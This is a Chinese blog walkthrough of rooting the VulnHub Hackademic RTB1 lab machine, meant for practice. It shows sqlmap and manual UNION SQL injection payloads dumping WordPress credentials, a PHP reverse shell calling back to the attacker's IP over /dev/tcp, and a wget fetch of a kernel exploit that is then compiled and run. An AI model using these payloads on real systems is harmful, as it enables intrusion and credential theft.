Hackademic靶机渗透记录

靶机地址:https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip

目标:获取root权限

如果靶机没有获取ip,记得重装后在开启前点击我已移动虚拟机

信息收集

  • 内网主机搜寻
sudo arp-scan -l

  •  主机端口扫描,这里采用最简单的扫描
nmap 10.0.0.117

 

  • 看到有80端口,简单采取一下目录扫描
dirb http://10.0.0.117

  • 收集一些扩展信息

 

web渗透

漏洞挖掘

  • 直接访问80端口http://10.0.0.117 

  • 这个页面有可点击的地方,我们直接点击中间的靶机名 

  • 点击之后跳转网页如下 

  • 仔细观察,下面的no comments,edit,Uncategoried都是可点击的
  • 我们试着点击查看是否有猫腻,这里直接点击Uncategoried

  • 这里我们看到url中有个参数,可能存在sql注入漏洞
  • 测试sql注入,在网址后面加上 ' ,并观察页面回显 

  • 出现了sql语法报错,并回显了sql查询语句,证明了此处存在sql注入漏洞,查询的语句为:
SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1

 漏洞利用

方法一:sqlmap一把梭

  • 在kali上使用sqlmap对存在sql注入的url传进去,并开始爆库
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs

 

  • 成功爆出3个数据库
  • 指定wordpress这个数据库爆表
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs -D wordpress --tables

 

  • 成功爆出9张表
  • 此刻开始指定用户表wp_users爆字段
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs -D wordpress -T wp_users --dump

  • 图中只有红色框是我们关心的,加密的hash值类似md5加密,所以我们测试在md5解密网站上解密密文,这里只解密第二个用户密文,其他密码明文已经给出

方法二:手工sql注入

  •  在测试sql注入时,已经知道了存在sql语法报错

SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1
  • 根据数据库基础,我们应该是想先知道数据库到底有多少列?
  • 我们可以使用order by num,排列的方法,如果页面报错则最多有报错数-1列 ,在url后加上order by 数字,直到页面报错为止
http://10.0.0.117/Hackademic_RTB1/?cat=1 order by 6

  • 可见,到6就开始报错了,说明数据库最多有5列
  •  接下来,我们应该想知道的是这5列中那个是可以被查询到数据的,于是,我们将使用union联合查询观察回显来判断
  • 先将cat参数置0,这样前面的语句就不会被执行,直接执行union后的联合查询语句
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,2,3,4,5

  • 从回显的信息来看,我们可以知道第二列是可以被我们利用的,这样的话,我们就可以在语句的第二列也就是2处注入我们的查询语句
  • 比如说,我们想知道sql的版本信息,可以在2处注入version() 
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,version(),3,4,5

  • 接下来,我们想知道的是wordpress的后台登陆数据。从信息收集中我们知道,wordpress用的是1.5.1.1版本,百度一下看看这个版本的固定字段

 

  • 比如说,我们想要查询wp_users这张表的user_login,user_pass这两个字段的数据,我们的sql语句是:
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,user_login,3,4,5 from wp_users

  • 成功查询到一个账号
  • 现在我们应该想要获取到账号和密码,使用group_concat这个函数将user_login和user_pass都查询出来
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,user_pass),3,4,5 from wp_users

  • 我们将其美化一下就是在任意两个参数直接加入'-'方便观察,'-'的ascii编码是0x2d 
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,0x2d,user_pass),3,4,5 from wp_users

  • 至此,手工sql注入结束  

登陆后台

 

  • 这个账号貌似没什么权限,换一个

 

反弹shell

  • 这个账号有绝对的权限,我们挨个查找可以上传文件的地方
  • 找到了文件上传的位置并开启

  • 点击更新后,菜单中会显示文件上传按钮 

  • 我们写一个反向shell的php代码并命名为shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.116/7777 0>&1'"); ?>
  • 上传反向shell文件 
  • 上传成功后,先在kali上启动nc监听,再在下面这个网址中启动反向shell
http://10.0.0.117/Hackademic_RTB1/wp-content/shell.php

 

  • 反弹shell成功!

提权

  • 查看sudo权限 
sudo -l

 

  • 失效
  • 测试suid提权
find / -perm -u=s -type f 2>&/dev/null

 

  • 失效
  • 测试内核提权,查看内核版本
uname -a

  • 查找相关的poc或exp (借鉴红队大佬笔记)
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'

  • 将其获取到kali上 
locate linux/local/15285.c
sudo cp /usr/share/exploitdb/exploits/linux/local/15285.c .

  • 在kali上开启http服务,便于靶机获取 
python -m http.server 8080

  • 靶机获取exp文件 
wget http://10.0.0.116:8080/15285.c

  • 将c文件编译后给定执行权限,再执行提权
gcc 15285.c -o 15285
chmod +x 15285
./15285

 

  • 成功获取root权限,并读取flag文件

 

总结

  • 理解了sql注入的手工注入的原理和奇淫技巧和sqlmap的魅力
  • 学会写php的反向shell代码
  • 内核提权的exp的查找技巧
  • 26
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值